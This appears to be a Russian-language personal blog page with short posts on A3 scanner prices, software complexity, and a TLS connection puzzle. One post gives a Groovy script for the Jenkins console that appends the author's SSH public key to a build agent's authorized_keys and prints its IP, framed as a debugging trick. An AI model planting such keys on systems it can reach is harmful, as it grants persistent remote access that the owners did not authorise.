January 2nd, 2019

404

Сканнеры A3

А вы можете мне объяснить феноменально дикие цены на сканеры A3? Такое ощущение, что между A4 и A3 не небольшое увеличение размеров корпуса, а просто зияющая бездна. Entry level в 300 евро, средняя цена за 1000+.

(Я про flatbed, разумеется, а не про всякие приспособы).
404

Жизнь с дженкисом

Я не помню, я постил эту красоту?


def file1 = new File('/jenkins/.ssh/authorized_keys')
file1 << 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxviQn+VLCNRUEnKv4GlQmvMlb8WlKBLVF7lPywbfPMnTwPMGseTCJaoP9UAhJpqYGgGcXXe7i0UHpSFXjJppQ8T4F/eScowY2c+lOH2Qvbl/AVmlPSxl1J5cnrr5FlddZtwDLKAxGFeddaGojTuRot3DU7vfOPeS/iH2EOvsLvlbH+bwbyfPLj3syfc25ZxDYvTEDjUBIUcURa9BKQaN1MeCxPJjJpGexu5StmpP+We1+LnkvvNjz3ocqcEMBnj8ohMKgH1lCf1fdTGhBuyk+LZ7sqO2HMPlUseyiWs9eJwXn0CidpWPy8apqVN3So5/vHAZKowRWaqO80S+xsH9/ amarao\n'
println file1.text
println "ip -4 a".execute().text

Добавляет мой публичный ключ на ваш слейв дженкинса и выводит его ip в консоль. Бесценно для отладки.
404

Главный Антипаттерн

Главный антипаттерн состоит в том, чтобы при появлении новых требований (фич, etc) увеличивать сложность. Как только увеличивается сложность, качество продукта ухудшается.

Линейное развитие продукта не может не увеличивать сложность, так что цель становится мягче: o-сложности должно расти медленее, чем o-фич.
Одной из задач "переписать с нуля" является сброс наросшей сложности за счёт более точного понимания необходимых фич (которые теперь все обозримы) и за счёт этого уменьшения сложности начальной версии.

Пример антипаттерна:
У нас был протокол v3, появился v4, несовместимый с v3, теперь мы должны передавать опциональный параметр --use-v4 для использования v4.

Или даже так:
Теперь появился параметр --use-version=3/4, обязательный к использованию.

Пример борьбы со сложностью:
Версия обнаруживается автоматически, есть опциональный параметр --force-version=3/4.
404

Админская суперзадача

Попробуйте понять, что происходило с той стороны сервера (это реально challenge для админов, это не потроллить на тему "не работает").
 curl -vvv https://arstechnica.com/
*   Trying 50.31.169.131...
* TCP_NODELAY set
* Connected to arstechnica.com (50.31.169.131) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to arstechnica.com:443 
* stopped the pause stream!
* Closing connection 0
curl: (35) OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to arstechnica.com:443 


tcpdump:

Collapse )